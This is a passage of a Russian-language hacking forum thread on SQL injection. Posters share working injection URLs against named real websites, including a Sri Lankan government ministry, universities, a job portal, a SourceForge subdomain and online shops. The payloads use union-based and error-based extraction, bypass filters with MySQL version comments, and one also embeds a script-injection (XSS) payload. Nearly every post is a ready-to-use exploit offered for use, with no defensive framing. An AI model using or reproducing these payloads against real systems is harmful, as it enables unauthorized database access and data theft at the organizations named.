SQL Инъекции

Discussion in 'Уязвимости' started by yarbabin, 27 Apr 2015.

  1. Baskin-Robbins

    Baskin-Robbins Reservists Of Antichat

    Joined:
    15 Sep 2018
    Messages:
    201
    Likes Received:
    632
    Reputations:
    116
    Ресурс позиционирует себя как крупнейший сайт по поиску работы в Бангладеш, траф соответствует.
    Microsoft SQL Server 2012 - 11.0.7462.6
    Code:
    http://bdjobs.com/jobfair/ComFairWithJob_print.asp?Att_Id=2981 and 1=@@version -- &Fair_Id=5713
    Code:
    http://bdjobs.com/jobfair/ComFairWithJob_print.asp?Att_Id=2981 and 1=(select db_name(1)) -- &Fair_Id=5713
    Code:
    http://bdjobs.com/jobfair/ComFairWithJob_print.asp?Att_Id=2981 and 1=(select top 1 name from master..sysobjects where name not in ('sp_MSalreadyhavegeneration','sp_MSwritemergeperfcounter')) -- &Fair_Id=5713
    Ну и чуть-чуть для разнообразия

    PostgreSQL 9.4.24 SIXSS (пофиксили :()
    Code:
    http://www.acb.com/menu.php?id=-7253 union select 1,(chr(60)||chr(47)||chr(100)||chr(105)||chr(118)||chr(62)||chr(60)||chr(115)||chr(99)||chr(114)||chr(105)||chr(112)||chr(116)||chr(62)||chr(97)||chr(108)||chr(101)||chr(114)||chr(116)||chr(40)||chr(41)||chr(60)||chr(47)||chr(115)||chr(99)||chr(114)||chr(105)||chr(112)||chr(116)||chr(62)||concat_ws(chr(32)||chr(35)||chr(32),session_user,version(),array_to_string(array(select DISTINCT schemaname from pg_catalog.pg_tables),','),array_to_string(array(select tablename from pg_catalog.pg_tables where schemaname='pg_catalog'),','),array_to_string(array(select attname from pg_catalog.pg_attribute where attrelid=(select oid from pg_catalog.pg_class where relname='pg_class') AND attnum>0),','))) --%20
    Sqlite 3.7.17
    Code:
    webdocs.cs.ualberta.ca/~hwsamuel/cardea/helix/catalog.php?id=4 union select 1,(sqlite_version())||char(35,35,35,35,35)||group_concat(tbl_name),3,group_concat(sql),5,6,(select group_concat(path) from document)||char(35,35,35,35,35)||(select group_concat(url) from document),8,9 from sqlite_master --%20
    Sqlite 3.3.7
    Code:
    www.newvideos.x0.com/channel/play.php?file_id=274' union select 1,2,(select sql from sqlite_master where type='table' limit 1,1),sqlite_version(),(select sql from sqlite_master where type='table' limit 0,1),6,7,8 from sqlite_master --%20
     
    #241 Baskin-Robbins, 31 Oct 2019
    Last edited: 31 Oct 2019
    sepo, ms13, seostock and 2 others like this.
  2. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    65
    Likes Received:
    17
    Reputations:
    18
    Code:
    http://www.horus.com.eg/newdetails.php?Id=-89+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6--
     
  3. Baskin-Robbins

    Baskin-Robbins Reservists Of Antichat

    Joined:
    15 Sep 2018
    Messages:
    201
    Likes Received:
    632
    Reputations:
    116
    Поддомен sourceforge
    Code:
    http://leaf.sourceforge.net/index.php?PAGE_user_op=view_page&PAGE_id=5&MMN_position=20:20&module=-111' or (select count(*) from (select 1 union select 2 union select 3)x group by concat(mid(version(), 1, 63), floor(rand(0)*2))) --%20
    Code:
    http://leaf.sourceforge.net/index.php?PAGE_user_op=view_page&PAGE_id=5&MMN_position=20:20&module=-111' or (select count(*) from (select 1 union select 2 union select 3)x group by concat(mid((select schema_name from information_schema.schemata limit 1,1), 1, 63), floor(rand(0)*2))) --%20
     
  4. Baskin-Robbins

    Baskin-Robbins Reservists Of Antichat

    Joined:
    15 Sep 2018
    Messages:
    201
    Likes Received:
    632
    Reputations:
    116
    Make It Yours или привет от кулер_мастер:)
    Будь внимателен;)
    Code:
    https://makerhub.coolermaster.com/custom-lighting/download.php?id=-177 union select 1,2,3,4,5,6,(select schema_name from information_schema.schemata limit 0,1),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 --%20
     
    panic.ker, seostock and crlf like this.
  5. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    65
    Likes Received:
    17
    Reputations:
    18
    Code:
    http://www.comwave.edu.pk/download.php?id=-131+union+select+concat_ws(0x3a,version(),user(),database()),2,3--
     
  6. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    65
    Likes Received:
    17
    Reputations:
    18
    Sri Lank Ministry of Highways & Road Development
    Code:
    https://mohsl.gov.lk/en/projects.php?project=-1+union+select+1,2,3,4--&type=0&view_project=View%20Project
    Sri Lanka, University of Ruhuna
    Code:
    http://www.sci.ruh.ac.lk/botany/academic_staff_profile.php?id=-893+union+select+1,2,3,4,5,6,7,8,9,10,11--
     
    #246 sepo, 23 Mar 2020
    Last edited by a moderator: 27 Mar 2020
  7. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    65
    Likes Received:
    17
    Reputations:
    18
    Code:
    https://www.amaluxuryshower.it/eng/scheda-news.php?ID=-7+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,concat_ws(0x3a,version(),database(),user()),20,21,22,23,24,25--
    Centro Convegni Sant’Agostino
    Code:
    http://www.cortonasviluppo.it/dettaglio-news.php?id=-228+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12,13--
    USA Indian Diaspora Council
    Code:
    http://www.indiandiasporacouncil.org/news.php?id=-86+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6--
    Code:
    https://www.trmh.com/news.php?id=-75+union+select+1,version(),3,4,5--
     
    #247 sepo, 27 Mar 2020
    Last edited by a moderator: 6 Apr 2020
  8. Samozvanec

    Samozvanec New Member

    Joined:
    19 Jul 2020
    Messages:
    1
    Likes Received:
    2
    Reputations:
    1
    Индийской шоп деревянных игрушек

    Code:
    https://gooutofbox.com/category-list.php?id=-82 union select 1,concat(user(),0x3a,version(),0x3a,database())-- -
    Code:
    https://www.renzglobal.com/eshop/product-details.php?id=-56' union select 1,2,concat(user(),0x3a,version(),0x3a,database()),4,5,6,7,8,9,10,11,12,13,14,15-- -
    Индийский шоп.
    15к трафа

    Code:
    https://www.corporategiftsbangalore.com/details.php?id=426' /*!50000union*/ /*!50000select*/ 1,2,/*!50000concat(user(),0x3a,version(),0x3a,database())*/,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- -
    Снова индийский шоп :)

    Code:
    https://www.print2shop.com/product-details.php?id=-75' /*!50000union*/ /*!50000select*/ 1,2,/*!50000concat(user(),0x3a,version(),0x3a,database())*/,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- -&&idd=T-SHIRT WHITE POLYESTER
    Ну и последний на сегодня. Сервис принта на футболках.
    Страну угадайте сами ;)
     
    #248 Samozvanec, 19 Jul 2020
    Last edited by a moderator: 7 Aug 2020
    Baskin-Robbins and crlf like this.
  9. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    65
    Likes Received:
    17
    Reputations:
    18
    Code:
    http://www.gibas.ro/news.php?view=news&id=-46+union+select+1,version(),3,4,5,6,7,8--&language=en
    Bahauddin Zakariya University, Multan, Pakistan.
    Code:
    https://www.bzu.edu.pk/news.php?cid=-5+union+select+1,version(),database(),4,5,6,7--
     
    #249 sepo, 25 Jul 2020
    Last edited by a moderator: 7 Aug 2020
    Baskin-Robbins likes this.
  10. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    65
    Likes Received:
    17
    Reputations:
    18
    Чилийская адвокатская контора:
    Code:
    http://www.menayguijon.cl/detalle_b.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,concat_ws(0x3a,database(),user(),version()),16,17--
     
    Baskin-Robbins likes this.
  11. look2009

    look2009 Member

    Joined:
    3 Jun 2009
    Messages:
    78
    Likes Received:
    57
    Reputations:
    4
    В линке начали фильтровать union
    Теперь работает так.
    Code:
    http://www.fc-utd.co.uk/report.php?match_id=-1901/*!50000union*/%20/*!50000SeLeCt*/%20/*!50000version()*/%20--#
     
    sepo likes this.
Loading...